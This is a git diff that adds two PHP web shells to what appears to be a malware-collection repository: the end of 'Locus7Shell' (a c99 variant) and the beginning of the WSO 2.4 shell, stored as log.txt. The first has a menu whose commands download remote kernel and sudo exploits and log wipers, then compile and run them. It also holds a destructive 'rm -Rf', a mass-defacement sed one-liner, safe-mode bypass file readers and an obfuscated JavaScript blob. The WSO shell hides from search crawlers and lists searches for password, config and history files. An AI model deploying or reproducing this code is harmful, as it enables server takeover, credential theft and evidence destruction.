NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + <OPTION VALUE="wget http://precision-gaming.com/sudo.c">wget Linux sudo stack overflow + <OPTION VALUE="gcc sudo.c -o sudosploit">Compile Linux sudo sploit + <OPTION VALUE="./sudosploit">Execute Sudosploit + <OPTION VALUE="wget http://twofaced.org/linux2-6-all.c">Linux Kernel 2.6.* rootkit.c + <OPTION VALUE="gcc linux2-6-all.c -o linuxkernel">Compile Linux2-6-all.c + <OPTION VALUE="./linuxkernel">Run Linux2-6-all.c + <OPTION VALUE="wget http://twofaced.org/mig-logcleaner.c">Mig LogCleaner + <OPTION VALUE="gcc -DLINUX -WALL mig-logcleaner.c -o migl">Compile Mig LogCleaner + <OPTION VALUE="./migl -u root 0">Compile Mig LogCleaner + <OPTION VALUE="sed -i -e 's/<html>/<div style=\'position\:absolute\;width\:2000px\;height\:2000px\;background-color\:black\'><br><br><br><br>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<img src=\'http://img244.imageshack.us/img244/6663/locus7sgm8.jpg\'><br><font size=\'10\' color=\'green\'>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<font size=\'10\' color=\'green\'>HACKED BY <a href=\'http\:\/\/locus7s.com\'>LOCUS7S<\/a><\/font><\/div><meta http-equiv=\'refresh\' content=\'5\\;url=http\:\/\/locus7s.com\'>/g' index.*">index.* Mass Defacement + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE> + + + + + + + + + + + + + + + + + + + + + + + + + + +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr> +<td width="50%" height="1" valign="top"><center>Search<form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> +<td width="50%" height="1" valign="top"><center>Upload<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr><script type="text/javascript" language="javascript"> +<!-- +fF7eSD8=new Array(); +fF7eSD8[0]="%3Cscript%3E%0Adocu"; +fF7eSD8[1]="ment.write%28une"; +fF7eSD8[2]="scape%28%22%253Cscri"; +fF7eSD8[3]="pt%2520type%253D%25"; +fF7eSD8[4]="22text/javascr"; +fF7eSD8[5]="ipt%2522%253Edo"; +fF7eSD8[6]="cument.write%25"; +fF7eSD8[7]="28%2527%255Cu00"; +fF7eSD8[8]="3c%255Cu0073%255C"; +fF7eSD8[9]="u0063%255Cu0072"; +fF7eSD8[10]="%255Cu0069%255Cu"; +fF7eSD8[11]="0070%255Cu007"; +fF7eSD8[12]="4%255Cu0020%255C"; +fF7eSD8[13]="u0074%255Cu007"; +fF7eSD8[14]="9%255Cu0070%255Cu"; +fF7eSD8[15]="0065%255Cu003d%25"; +fF7eSD8[16]="5Cu0022%255Cu0"; +fF7eSD8[17]="074%255Cu0065%255C"; +fF7eSD8[18]="u0078%255Cu0074%25"; +fF7eSD8[19]="5Cu002f%255Cu"; +fF7eSD8[20]="006a%255Cu0061%255"; +fF7eSD8[21]="Cu0076%255Cu0"; +fF7eSD8[22]="061%255Cu0073%25"; +fF7eSD8[23]="5Cu0063%255Cu00"; +fF7eSD8[24]="72%255Cu0069%25"; +fF7eSD8[25]="5Cu0070%255Cu"; +fF7eSD8[26]="0074%255Cu0022"; +fF7eSD8[27]="%255Cu003e%255C"; +fF7eSD8[28]="u0064%255Cu00"; +fF7eSD8[29]="6f%255Cu0063%255C"; +fF7eSD8[30]="u0075%255Cu006"; +fF7eSD8[31]="d%255Cu0065%255Cu"; +fF7eSD8[32]="006e%255Cu0074%255"; +fF7eSD8[33]="Cu002e%255Cu00"; +fF7eSD8[34]="77%255Cu0072%25"; +fF7eSD8[35]="5Cu0069%255Cu"; +fF7eSD8[36]="0074%255Cu0065%25"; +fF7eSD8[37]="5Cu0028%255Cu002"; +fF7eSD8[38]="7%255Cu005c%255Cu"; +fF7eSD8[39]="0075%255Cu0030"; +fF7eSD8[40]="%255Cu0030%255Cu0"; +fF7eSD8[41]="033%255Cu0063%25"; +fF7eSD8[42]="5Cu005c%255Cu007"; +fF7eSD8[43]="5%255Cu0030%255Cu"; +fF7eSD8[44]="0030%255Cu0035"; +fF7eSD8[45]="%255Cu0033%255C"; +fF7eSD8[46]="u005c%255Cu0075"; +fF7eSD8[47]="%255Cu0030%255Cu"; +fF7eSD8[48]="0030%255Cu003"; +fF7eSD8[49]="4%255Cu0033%255"; +fF7eSD8[50]="Cu005c%255Cu007"; +fF7eSD8[51]="5%255Cu0030%255Cu"; +fF7eSD8[52]="0030%255Cu0035%255"; +fF7eSD8[53]="Cu0032%255Cu00"; +fF7eSD8[54]="5c%255Cu0075%255C"; +fF7eSD8[55]="u0030%255Cu0030%25"; +fF7eSD8[56]="5Cu0034%255Cu00"; +fF7eSD8[57]="39%255Cu005c%255Cu"; +fF7eSD8[58]="0075%255Cu0030%255"; +fF7eSD8[59]="Cu0030%255Cu003"; +fF7eSD8[60]="5%255Cu0030%255C"; +fF7eSD8[61]="u005c%255Cu0075"; +fF7eSD8[62]="%255Cu0030%255Cu00"; +fF7eSD8[63]="30%255Cu0035%255"; +fF7eSD8[64]="Cu0034%255Cu005"; +fF7eSD8[65]="c%255Cu0075%255C"; +fF7eSD8[66]="u0030%255Cu0030%25"; +fF7eSD8[67]="5Cu0032%255Cu"; +fF7eSD8[68]="0030%255Cu005c%25"; +fF7eSD8[69]="5Cu0075%255Cu00"; +fF7eSD8[70]="30%255Cu0030%255"; +fF7eSD8[71]="Cu0035%255Cu003"; +fF7eSD8[72]="3%255Cu005c%255Cu0"; +fF7eSD8[73]="075%255Cu0030"; +fF7eSD8[74]="%255Cu0030%255Cu00"; +fF7eSD8[75]="35%255Cu0032%25"; +fF7eSD8[76]="5Cu005c%255Cu00"; +fF7eSD8[77]="75%255Cu0030%255Cu"; +fF7eSD8[78]="0030%255Cu003"; +fF7eSD8[79]="4%255Cu0033%255Cu"; +fF7eSD8[80]="005c%255Cu0075%25"; +fF7eSD8[81]="5Cu0030%255Cu"; +fF7eSD8[82]="0030%255Cu0033"; +fF7eSD8[83]="%255Cu0064%255Cu0"; +fF7eSD8[84]="05c%255Cu0075%25"; +fF7eSD8[85]="5Cu0030%255Cu003"; +fF7eSD8[86]="0%255Cu0036%255"; +fF7eSD8[87]="Cu0038%255Cu0"; +fF7eSD8[88]="05c%255Cu0075%255C"; +fF7eSD8[89]="u0030%255Cu003"; +fF7eSD8[90]="0%255Cu0037%255C"; +fF7eSD8[91]="u0034%255Cu005c%25"; +fF7eSD8[92]="5Cu0075%255Cu"; +fF7eSD8[93]="0030%255Cu0030"; +fF7eSD8[94]="%255Cu0037%255Cu"; +fF7eSD8[95]="0034%255Cu005c%25"; +fF7eSD8[96]="5Cu0075%255Cu00"; +fF7eSD8[97]="30%255Cu0030%255Cu"; +fF7eSD8[98]="0037%255Cu0030%255"; +fF7eSD8[99]="Cu005c%255Cu00"; +fF7eSD8[100]="75%255Cu0030%255"; +fF7eSD8[101]="Cu0030%255Cu00"; +fF7eSD8[102]="33%255Cu0061%255Cu"; +fF7eSD8[103]="005c%255Cu0075"; +fF7eSD8[104]="%255Cu0030%255C"; +fF7eSD8[105]="u0030%255Cu0032%25"; +fF7eSD8[106]="5Cu0066%255Cu00"; +fF7eSD8[107]="5c%255Cu0075%255Cu"; +fF7eSD8[108]="0030%255Cu0030%25"; +fF7eSD8[109]="5Cu0032%255Cu0"; +fF7eSD8[110]="066%255Cu005c"; +fF7eSD8[111]="%255Cu0075%255Cu"; +fF7eSD8[112]="0030%255Cu0030%25"; +fF7eSD8[113]="5Cu0036%255Cu003"; +fF7eSD8[114]="4%255Cu005c%255C"; +fF7eSD8[115]="u0075%255Cu003"; +fF7eSD8[116]="0%255Cu0030%255C"; +fF7eSD8[117]="u0036%255Cu00"; +fF7eSD8[118]="31%255Cu005c%255"; +fF7eSD8[119]="Cu0075%255Cu00"; +fF7eSD8[120]="30%255Cu0030%255Cu"; +fF7eSD8[121]="0037%255Cu0034"; +fF7eSD8[122]="%255Cu005c%255Cu00"; +fF7eSD8[123]="75%255Cu0030%255C"; +fF7eSD8[124]="u0030%255Cu003"; +fF7eSD8[125]="6%255Cu0031%255"; +fF7eSD8[126]="Cu005c%255Cu007"; +fF7eSD8[127]="5%255Cu0030%255"; +fF7eSD8[128]="Cu0030%255Cu0"; +fF7eSD8[129]="032%255Cu0065"; +fF7eSD8[130]="%255Cu005c%255C"; +fF7eSD8[131]="u0075%255Cu0030%25"; +fF7eSD8[132]="5Cu0030%255Cu003"; +fF7eSD8[133]="7%255Cu0034%255Cu0"; +fF7eSD8[134]="05c%255Cu0075%255C"; +fF7eSD8[135]="u0030%255Cu00"; +fF7eSD8[136]="30%255Cu0033%255C"; +fF7eSD8[137]="u0030%255Cu005"; +fF7eSD8[138]="c%255Cu0075%255Cu"; +fF7eSD8[139]="0030%255Cu003"; +fF7eSD8[140]="0%255Cu0033%255C"; +fF7eSD8[141]="u0030%255Cu005"; +fF7eSD8[142]="c%255Cu0075%255"; +fF7eSD8[143]="Cu0030%255Cu0"; +fF7eSD8[144]="030%255Cu0036%255C"; +fF7eSD8[145]="u0063%255Cu005c"; +fF7eSD8[146]="%255Cu0075%255C"; +fF7eSD8[147]="u0030%255Cu00"; +fF7eSD8[148]="30%255Cu0037%25"; +fF7eSD8[149]="5Cu0033%255Cu00"; +fF7eSD8[150]="5c%255Cu0075%255"; +fF7eSD8[151]="Cu0030%255Cu00"; +fF7eSD8[152]="30%255Cu0032%255"; +fF7eSD8[153]="Cu0065%255Cu005c"; +fF7eSD8[154]="%255Cu0075%255C"; +fF7eSD8[155]="u0030%255Cu00"; +fF7eSD8[156]="30%255Cu0036%255Cu"; +fF7eSD8[157]="0066%255Cu005c%255"; +fF7eSD8[158]="Cu0075%255Cu00"; +fF7eSD8[159]="30%255Cu0030%255Cu"; +fF7eSD8[160]="0037%255Cu0032%25"; +fF7eSD8[161]="5Cu005c%255Cu007"; +fF7eSD8[162]="5%255Cu0030%255C"; +fF7eSD8[163]="u0030%255Cu0036%25"; +fF7eSD8[164]="5Cu0037%255Cu00"; +fF7eSD8[165]="5c%255Cu0075%255"; +fF7eSD8[166]="Cu0030%255Cu0030"; +fF7eSD8[167]="%255Cu0032%255Cu00"; +fF7eSD8[168]="66%255Cu005c%255"; +fF7eSD8[169]="Cu0075%255Cu0"; +fF7eSD8[170]="030%255Cu0030%255C"; +fF7eSD8[171]="u0037%255Cu0037"; +fF7eSD8[172]="%255Cu005c%255Cu"; +fF7eSD8[173]="0075%255Cu0030%25"; +fF7eSD8[174]="5Cu0030%255Cu"; +fF7eSD8[175]="0036%255Cu0038%255"; +fF7eSD8[176]="Cu005c%255Cu007"; +fF7eSD8[177]="5%255Cu0030%255"; +fF7eSD8[178]="Cu0030%255Cu0036"; +fF7eSD8[179]="%255Cu0035%255Cu00"; +fF7eSD8[180]="5c%255Cu0075%255Cu"; +fF7eSD8[181]="0030%255Cu003"; +fF7eSD8[182]="0%255Cu0037%255C"; +fF7eSD8[183]="u0032%255Cu00"; +fF7eSD8[184]="5c%255Cu0075%255"; +fF7eSD8[185]="Cu0030%255Cu0"; +fF7eSD8[186]="030%255Cu0036%25"; +fF7eSD8[187]="5Cu0035%255Cu0"; +fF7eSD8[188]="05c%255Cu0075"; +fF7eSD8[189]="%255Cu0030%255Cu0"; +fF7eSD8[190]="030%255Cu0032"; +fF7eSD8[191]="%255Cu0065%255Cu"; +fF7eSD8[192]="005c%255Cu0075"; +fF7eSD8[193]="%255Cu0030%255Cu00"; +fF7eSD8[194]="30%255Cu0036%25"; +fF7eSD8[195]="5Cu0061%255Cu"; +fF7eSD8[196]="005c%255Cu007"; +fF7eSD8[197]="5%255Cu0030%255"; +fF7eSD8[198]="Cu0030%255Cu0037"; +fF7eSD8[199]="%255Cu0033%255Cu0"; +fF7eSD8[200]="05c%255Cu0075%255C"; +fF7eSD8[201]="u0030%255Cu00"; +fF7eSD8[202]="30%255Cu0033%255Cu"; +fF7eSD8[203]="0065%255Cu005"; +fF7eSD8[204]="c%255Cu0075%255Cu"; +fF7eSD8[205]="0030%255Cu0030%25"; +fF7eSD8[206]="5Cu0033%255Cu00"; +fF7eSD8[207]="63%255Cu005c%255C"; +fF7eSD8[208]="u0075%255Cu0030"; +fF7eSD8[209]="%255Cu0030%255Cu0"; +fF7eSD8[210]="032%255Cu0066%255"; +fF7eSD8[211]="Cu005c%255Cu0"; +fF7eSD8[212]="075%255Cu0030%25"; +fF7eSD8[213]="5Cu0030%255Cu"; +fF7eSD8[214]="0035%255Cu0033%255"; +fF7eSD8[215]="Cu005c%255Cu007"; +fF7eSD8[216]="5%255Cu0030%255Cu0"; +fF7eSD8[217]="030%255Cu0034%255"; +fF7eSD8[218]="Cu0033%255Cu00"; +fF7eSD8[219]="5c%255Cu0075%25"; +fF7eSD8[220]="5Cu0030%255Cu0"; +fF7eSD8[221]="030%255Cu0035"; +fF7eSD8[222]="%255Cu0032%255Cu0"; +fF7eSD8[223]="05c%255Cu0075"; +fF7eSD8[224]="%255Cu0030%255Cu"; +fF7eSD8[225]="0030%255Cu0034%25"; +fF7eSD8[226]="5Cu0039%255Cu0"; +fF7eSD8[227]="05c%255Cu0075%25"; +fF7eSD8[228]="5Cu0030%255Cu"; +fF7eSD8[229]="0030%255Cu0035%25"; +fF7eSD8[230]="5Cu0030%255Cu"; +fF7eSD8[231]="005c%255Cu0075%255"; +fF7eSD8[232]="Cu0030%255Cu0"; +fF7eSD8[233]="030%255Cu0035"; +fF7eSD8[234]="%255Cu0034%255Cu0"; +fF7eSD8[235]="05c%255Cu0075"; +fF7eSD8[236]="%255Cu0030%255Cu"; +fF7eSD8[237]="0030%255Cu0033%255"; +fF7eSD8[238]="Cu0065%255Cu0"; +fF7eSD8[239]="027%255Cu0029"; +fF7eSD8[240]="%255Cu003c%255C"; +fF7eSD8[241]="u002f%255Cu0073%25"; +fF7eSD8[242]="5Cu0063%255Cu007"; +fF7eSD8[243]="2%255Cu0069%255Cu"; +fF7eSD8[244]="0070%255Cu007"; +fF7eSD8[245]="4%255Cu003e%2527%25"; +fF7eSD8[246]="29%253C/script%25"; +fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri"; +fF7eSD8[248]="pt%3E"; +for (i = 0; i < fF7eSD8.length; i ++) +{ + document.write(unescape(fF7eSD8[i])) +} +// --> +</script> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Make Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center>Make File<form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Go Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center>Go File<form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ x2300 Locus7Shell v. <?php echo $shver; ?> <a href="http://www.locus7s.com/"><u><b>Modded by</b></u></a> #!physx^ | <a href="http://www.locus7s.com">www.LOCUS7S.com</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/log.txt b/web-malware-collection-master/Backdoors/PHP/log.txt new file mode 100755 index 0000000..68ec727 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/log.txt @@ -0,0 +1,1523 @@ +<?php # Web Shell by oRb +$color = "#df5"; +$default_action = 'FilesMan'; +$default_use_ajax = true; +$default_charset = 'Windows-1251'; + +if(!empty($_SERVER['HTTP_USER_AGENT'])) { + $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); + if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { + header('HTTP/1.0 404 Not Found'); + exit; + } +} + +@session_start(); +@ini_set('error_log',NULL); +@ini_set('log_errors',0); +@ini_set('max_execution_time',0); +@set_time_limit(0); +@set_magic_quotes_runtime(0); +@define('WSO_VERSION', '2.4'); + +if(get_magic_quotes_gpc()) { + function WSOstripslashes($array) { + return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); + } + $_POST = WSOstripslashes($_POST); +} + +function wsoLogin() { + die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); +} + +if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) + if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) ) + $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; + else + wsoLogin(); + +if(strtolower(substr(PHP_OS,0,3)) == "win") + $os = 'win'; +else + $os = 'nix'; + +$safe_mode = @ini_get('safe_mode'); +if(!$safe_mode) + error_reporting(0); + +$disable_functions = @ini_get('disable_functions'); +$home_cwd = @getcwd(); +if(isset($_POST['c'])) + @chdir($_POST['c']); +$cwd = @getcwd(); +if($os == 'win') { + $home_cwd = str_replace("\\", "/", $home_cwd); + $cwd = str_replace("\\", "/", $cwd); +} +if( $cwd[strlen($cwd)-1] != '/' ) + $cwd .= '/'; + +if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'])) + $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax']; + +if($os == 'win') + $aliases = array( + "List Directory" => "dir", + "Find index.php in current dir" => "dir /s /w /b index.php", + "Find *config*.php in current dir" => "dir /s /w /b *config*.php", + "Show active connections" => "netstat -an", + "Show running services" => "net start", + "User accounts" => "net user", + "Show computers" => "net view", + "ARP Table" => "arp -a", + "IP Configuration" => "ipconfig /all" + ); +else + $aliases = array( + "List dir" => "ls -lha", + "list file attributes on a Linux second extended file system" => "lsattr -va", + "show opened ports" => "netstat -an | grep -i listen", + "process status" => "ps aux", + "Find" => "", + "find all suid files" => "find / -type f -perm -04000 -ls", + "find suid files in current dir" => "find . -type f -perm -04000 -ls", + "find all sgid files" => "find / -type f -perm -02000 -ls", + "find sgid files in current dir" => "find . -type f -perm -02000 -ls", + "find config.inc.php files" => "find / -type f -name config.inc.php", + "find config* files" => "find / -type f -name \"config*\"", + "find config* files in current dir" => "find . -type f -name \"config*\"", + "find all writable folders and files" => "find / -perm -2 -ls", + "find all writable folders and files in current dir" => "find . -perm -2 -ls", + "find all service.pwd files" => "find / -type f -name service.pwd", + "find service.pwd files in current dir" => "find . -type f -name service.pwd", + "find all .htpasswd files" => "find / -type f -name .htpasswd", + "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", + "find all .bash_history files" => "find / -type f -name .bash_history", + "find .bash_history files in current dir" => "find . -type f -name .bash_history", + "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", + "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", + "Locate" => "", + "locate httpd.conf files" => "locate httpd.conf", + "locate vhosts.conf files" => "locate vhosts.conf", + "locate proftpd.conf files" => "locate proftpd.conf", + "locate psybnc.conf files" => "locate psybnc.conf", + "locate my.conf files" => "locate my.conf", + "locate admin.php files" =>"locate admin.php", + "locate cfg.php files" => "locate cfg.php", + "locate conf.php files" => "locate conf.php", + "locate config.dat files" => "locate config.dat", + "locate config.php files" => "locate config.php", + "locate config.inc files" => "locate config.inc", + "locate config.inc.php" => "locate config.inc.php", + "locate config.default.php files" => "locate config.default.php", + "locate config* files " => "locate config", + "locate .conf files"=>"locate '.conf'", + "locate .pwd files" => "locate '.pwd'", + "locate .sql files" => "locate '.sql'", + "locate .htpasswd files" => "locate '.htpasswd'", + "locate .bash_history files" => "locate '.bash_history'", + "locate .mysql_history files" => "locate '.mysql_history'", + "locate .fetchmailrc files" => "locate '.fetchmailrc'", + "locate backup files" => "locate backup", + "locate dump files" => "locate dump", + "locate priv files" => "locate priv" + ); + +function wsoHeader() { + if(empty($_POST['charset'])) + $_POST['charset'] = $GLOBALS['default_charset']; + global $color; + echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title> +<style> +body{background-color:#444;color:#e1e1e1;} +body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } +table.info{ color:#fff;background-color:#222; } +span,h1,a{ color: $color !important; } +span{ font-weight: bolder; } +h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } +div.content{ padding: 5px;margin-left:5px;background-color:#333; } +a{ text-decoration:none; } +a:hover{ text-decoration:underline; } +.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } +.bigarea{ width:100%;height:250px; } +input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } +form{ margin:0px; } +#toolsTbl{ text-align:center; } +.toolsInp{ width: 300px } +.main th{text-align:left;background-color:#5e5e5e;} +.main tr:hover{background-color:#5e5e5e} +.l1{background-color:#444} +.l2{background-color:#333} +pre{font-family:Courier,Monospace;} +</style> +<script> + var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; + var a_ = '" . htmlspecialchars(@$_POST['a']) ."' + var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; + var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; + var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; + var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; + var d = document; + function set(a,c,p1,p2,p3,charset) { + if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; + if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; + if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; + if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; + if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; + if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; + } + function g(a,c,p1,p2,p3,charset) { + set(a,c,p1,p2,p3,charset); + d.mf.submit(); + } + function a(a,c,p1,p2,p3,charset) { + set(a,c,p1,p2,p3,charset); + var params = 'ajax=true'; + for(i=0;i<d.mf.elements.length;i++) + params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); + sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); + } + function sr(url, params) { + if (window.XMLHttpRequest) + req = new XMLHttpRequest(); + else if (window.ActiveXObject) 